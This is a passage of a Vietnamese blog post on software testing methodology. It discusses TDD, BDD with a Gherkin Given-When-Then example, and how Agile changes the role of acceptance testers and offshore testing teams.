Trong quá trình hình thành, TDD có liên quan mật thiết đến khái niệm “Test-First Programming” trong mô hình eXtreme Programming “XP” thuần túy Agile – thịnh hành từ năm 1999. Tuy nhiên, bằng việc ứng dụng đa dạng và linh hoạt, TDD cũng có những đặc điểm và tùy biến của riêng nó (mình sẽ trình bày rõ hơn bên dưới).

https://www.facebook.com/learningtesting

TDD đáp ứng “Tuyên ngôn về Agile” khi bản thân quy trình TDD thúc đẩy tính thực tiễn của sản phẩm, tương tác với người dùng. Để phát huy tối đa những lợi ích mà TDD mang lại, độ lớn của 1 đơn vị tính năng phần mềm (unit of function) cần đủ nhỏ để kịch bản kiểm thử dễ dàng được xây dựng và đọc hiểu, công sức debug kịch bản kiểm thử khi chạy thất bại cũng giảm thiểu hơn.
Thực tế cho thấy một số sự kết hợp giữa TDD và mô hình Agile khác như Scrum có thể hỗ trợ và tối ưu lợi ích của nhau. Ví dụ, việc chia nhỏ Backlog thành các User Story của Scrum khiến việc xây dựng kịch bản kiểm thử hướng TDD trở nên dễ dàng và thuận tiện. Thêm vào đó, cả Scrum và TDD tương đồng trong việc loại bỏ sự chuyên hóa về vai trò của bộ đôi Developer – Tester. Vì lý do đó, đôi lúc có thể bạn sẽ thấy vừa TDD vừa Scrum được áp dụng trong cùng 1 dự án.
4. Behavior-Driven Development - BDDNhư vậy, trong mô hình TDD nhiệm vụ kiểm thử do developer đảm nhiệm và vai trò chuyên hóa của người tester gần như không còn nữa. Chắc hẳn các bạn sẽ tự hỏi: “Vậy một Acceptance Tester như chúng ta có vai trò gì trong mô hình?”, “Tại sao tôi phải hiểu về TDD khi người ta ko cần tôi trong quy trình đó?”
Quả thực, trong mô hình TDD người Acceptance Tester thực sự đã chết. Tuy nhiên, việc cộng gộp vai trò phát sinh vấn đề quá tải cho người developer. Để làm tốt công việc, xuyên suốt chu trình người developer phải chú ý thêm những vấn đề thuần túy của kiểm thử (test) như: “Cái gì cần test và cái gì không?” “Viết bao nhiêu kịch bản là đủ?” “Làm sao để hiểu là test đó thất bại?” “Bắt đầu test từ đâu?” …
Để giải quyết vần đề phát sinh mà vẫn tận dụng triệt để lợi ích mà TDD mang lại, Dan North phát triển một mô hình mới với tên gọi: Behavior-Driven Development – BDD (hoặc ta có thể hiểu là Acceptance Test-Driven Development – ATDD) [5]. Trong đó, một vai trò mới trong việc thiết kế kiểm thử (Test Design) được đặt ra:

-  Thay vì chờ đợi sản phẩm hoàn thành và kiểm thử, người tester/analyst tham gia vào quá trình xây dựng mã nguồn với vai trò phân tích và xây dựng hệ thống kịch bản kiểm thử dưới góc độ ngôn ngữ tự nhiên dễ hiểu từ các yêu cầu (requirement).

-  Đồng thời, họ giúp đỡ developer trong việc giải thích và đưa ra các phương án xây dựng mã nguồn mang tính thực tiễn với người dùng ngay trước khi bắt tay xây dựng.

-  Người developer liên hệ mật thiết với người tester và xây dựng mã nguồn với những phương án mà tester cung cấp theo mô hình TDD.

-  Kịch bản kiểm thử được phân chia làm 2 lớp: Lớp chấp nhận (feature/acceptance test) và Lớp đơn vị (unit test).

-  Theo đó, kịch bản kiểm thử lớp đơn vị mang thuần tính thiết kế và phục vụ cho việc kiểm thử lớp đơn vị (Unit test) còn kịch bản kiểm thử lớp chấp nhận có thể được tái sử dụng cho quá trình kiểm thử hồi quy về sau (Regression Test)

Từ mô hình trên ta dễ dàng nhìn nhận được sự ưu việt BDD mang lại đặc biệt là trong các dự án phần mềm lớn và phức tạp, khi cả hai khía cạnh phân hóa vai trò và chất lượng phải đi đôi. Ngoài ra, việc chạy kịch bản kiểm thử và xử lý sớm các vấn đề thiết kế ngay trong khâu xây dựng giúp giảm thiểu tối đa chi phí và công sức sửa chữa lỗi.
Trong khi khái niệm BDD mang tính lý thuyết, việc ứng dụng của nó lại đặt nặng sự thực nghiệm. Để phát huy lợi ích về thời gian trong việc xây dựng kịch bản kiểm thử, ngôn ngữ và cách truyền tải là 1 thử thách khi phải đáp ứng khả năng đọc hiểu từ cả 2 khía cạnh: tự nhiên và thiết kế. Bằng sự vay mượn từ ngôn ngữ viết User Story, ngôn ngữ Gherkin được phát triển để phục vụ nhu cầu đó với cấu trúc đơn giản, hướng đối tượng và tương đồng cho mọi kịch bản: Given – When – Then (mình sẽ trình bày rõ hơn về ngôn ngữ này ở các loạt bài khác)

Ví dụ:
Given: Là một sinh viên
When: Tôi đăng ký một khóa học thành công
Then: Tôi phải thấy tên khóa học hiện ra trong danh sách môn học của tôi

5. Agile testing từ góc nhìn một Acceptance TesterCó thể nhìn nhận rằng cùng với những lợi ích mà tuyên ngôn Agile mang lại, việc nở rộ và chiếm lĩnh của các mô hình hướng Agile như TDD-BDD đang dần dần thay đổi vai trò chuyên hóa của một Acceptance Tester truyền thống trong việc kiểm thử. Công việc kiểm thử dựa trên nguyên tắc đợi sản phẩm phần mềm hoàn tất (một phần hoặc toàn phần) và chạy kiểm thử trên sản phẩm như một người dùng (end-user) trở nên không cần thiết nữa. Thay vào đó, vai trò của người tester có xu hướng chuyển dần sang việc bảo trì chất lượng phần mềm (maintain quality) và hỗ trợ developer trong việc tối ưu sự tiện dụng của sản phẩm ngay từ khâu xây dựng. Trong tương lai, các tester cần có khả năng xây dựng và chạy các bộ kiểm thử mang tính bảo trì chất lượng. Đặc biệt là kiểm thử hồi quy tự động (regression test using automation) và các bộ kiểm thử trọng tải (performance test) – phần việc duy nhất developer không đảm nhiệm.
Tương tự, trong Agile – một bộ phận gia công phần mềm theo hướng truyền thống cũng sẽ dần lụi tàn nếu bản thân dịch vụ gia công không đáp ứng được nhu cầu liên lạc gần gũi giữa tester và developer. Điều này là không dễ khi đa số các dự án gia công luôn có khoảng cách về múi giờ, địa lý và văn hóa giữa offshore tester và đội ngũ developer. Thêm vào đó, trình độ tester cũng là một mối quan tâm lớn khi ở trong BDD tester cần có khả năng đọc mã nguồn để có thể đưa ra các giải pháp cải tiến thiết kế cho developer.
6. Kết luậnTrên đây là những chia sẻ và nhận định chủ quan của mình về TDD-BDD nói riêng và Agile nói chung, những ảnh hưởng của nó dưới góc nhìn một người Acceptance Tester. Hiện tại trên mạng có rất nhiều tài liệu về hai mô hình này với mức độ chi tiết và ứng dụng khác nhau từ nhiều góc độ: thiết kế hệ thống, quản lý và xây dựng quy trình … đủ để phục vụ mục đích nghiên cứu nếu các bạn có nhu cầu. Những nội dung trên là những kiến thức cơ bản nhất do mình lượm lặt và hệ thống hóa trong những năm tháng làm việc với hi vọng có thể giúp các bạn có cách tiếp cận nhanh và dễ hiểu nhất. Mình rất mong có được những phản hồi và đóng góp của các bạn nhằm làm giàu và sửa chữa những kiến thức mình còn khiếm khuyết.
Trích: hoidapit

Continue Reading →